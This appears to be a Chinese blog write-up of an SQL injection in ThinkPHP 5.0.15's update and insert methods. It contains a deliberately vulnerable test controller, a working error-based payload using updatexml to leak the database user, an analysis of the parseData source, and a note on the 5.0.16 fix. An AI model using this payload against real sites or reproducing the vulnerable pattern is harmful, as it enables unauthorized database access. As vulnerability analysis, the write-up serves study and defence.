漏洞测试代码:



public function index()
{
$password=input('password/a');

$data = db('users')->where("id",'1')->update(["password"=>$password]);
dump($data);

}


复现:

payload:



?password[0]=inc&password[1]=updatexml(1,concat(0x7,user(),0x7e),1)&password[2]=1


thinkphp5.0.15 update、insert sql注入_sql

 

 

分析:

1、update函数分析



1     public function update($data, $options)
2 {
3 $table = $this->parseTable($options['table'], $options);
4 $data = $this->parseData($data, $options);
5 if (empty($data)) {
6 return '';
7 }
8 foreach ($data as $key => $val) {
9 $set[] = $key . '=' . $val;
10 }
11
12 $sql = str_replace(
13 ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],
14 [
15 $this->parseTable($options['table'], $options),
16 implode(',', $set),
17 $this->parseJoin($options['join'], $options),
18 $this->parseWhere($options['where'], $options),
19 $this->parseOrder($options['order'], $options),
20 $this->parseLimit($options['limit']),
21 $this->parseLock($options['lock']),
22 $this->parseComment($options['comment']),
23 ], $this->updateSql);
24
25 return $sql;
26 }


漏洞的问题在第4行的函数中,同时insert操作也存在同样的漏洞,这个sql注入是需要开启debug才能显示,同时在漏洞代码的编写中,是要以数组的形式传参,要不然默认为字符型,就会报错。

$data为我们传入的变量,$option中是一些初始化以及一些配置

thinkphp5.0.15 update、insert sql注入_sed_02

 

2、parseData函数分析



1    protected function parseData($data, $options)
2 {
3 if (empty($data)) {
4 return [];
5 }
6
7 // 获取绑定信息
8 $bind = $this->query->getFieldsBind($options['table']);
9 if ('*' == $options['field']) {
10 $fields = array_keys($bind);
11 } else {
12 $fields = $options['field'];
13 }
14
15 $result = [];
16 foreach ($data as $key => $val) {
17 $item = $this->parseKey($key, $options);
18 if (is_object($val) && method_exists($val, '__toString')) {
19 // 对象数据写入
20 $val = $val->__toString();
21 }
22 if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
23 if ($options['strict']) {
24 throw new Exception('fields not exists:[' . $key . ']');
25 }
26 } elseif (is_null($val)) {
27 $result[$item] = 'NULL';
28 } elseif (is_array($val) && !empty($val)) {
29 switch ($val[0]) {
30 case 'exp':
31 $result[$item] = $val[1];
32 break;
33 case 'inc':
34 $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
35 break;
36 case 'dec':
37 $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
38 break;
39 }
40 } elseif (is_scalar($val)) {
41 // 过滤非标量数据
42 if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
43 $result[$item] = $val;
44 } else {
45 $key = str_replace('.', '_', $key);
46 $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
47 $result[$item] = ':data__' . $key;
48 }
49 }
50 }
51 return $result;
52 }


$val的值是我们传入的数组,在22行的if判断中进入了第29行,对$val[0]的值进行判断,把$val[1]的值直接拿出来没有进行过滤,最后对$result进行返回,这样我们就可以控制update函数中的$set变量,通过12-23行的sql语句替换,将我们的sql语句替换到sql语句模板中。

thinkphp5.0.15 update、insert sql注入_sql_03

thinkphp5.0.15 update、insert sql注入_数组_04

 

 thinkphp5.0.15 update、insert sql注入_数据_05

这里password[0]的值可以是inc和dec,exp会在input方法中添加一个空格,就无法进行匹配了

thinkphp5.0.15 update、insert sql注入_数据_06

 

 

5.0.16更新:

thinkphp5.0.15 update、insert sql注入_sed_07

 

 增加了一个判断,就是传入的数组[0]和[1]的值需要相同。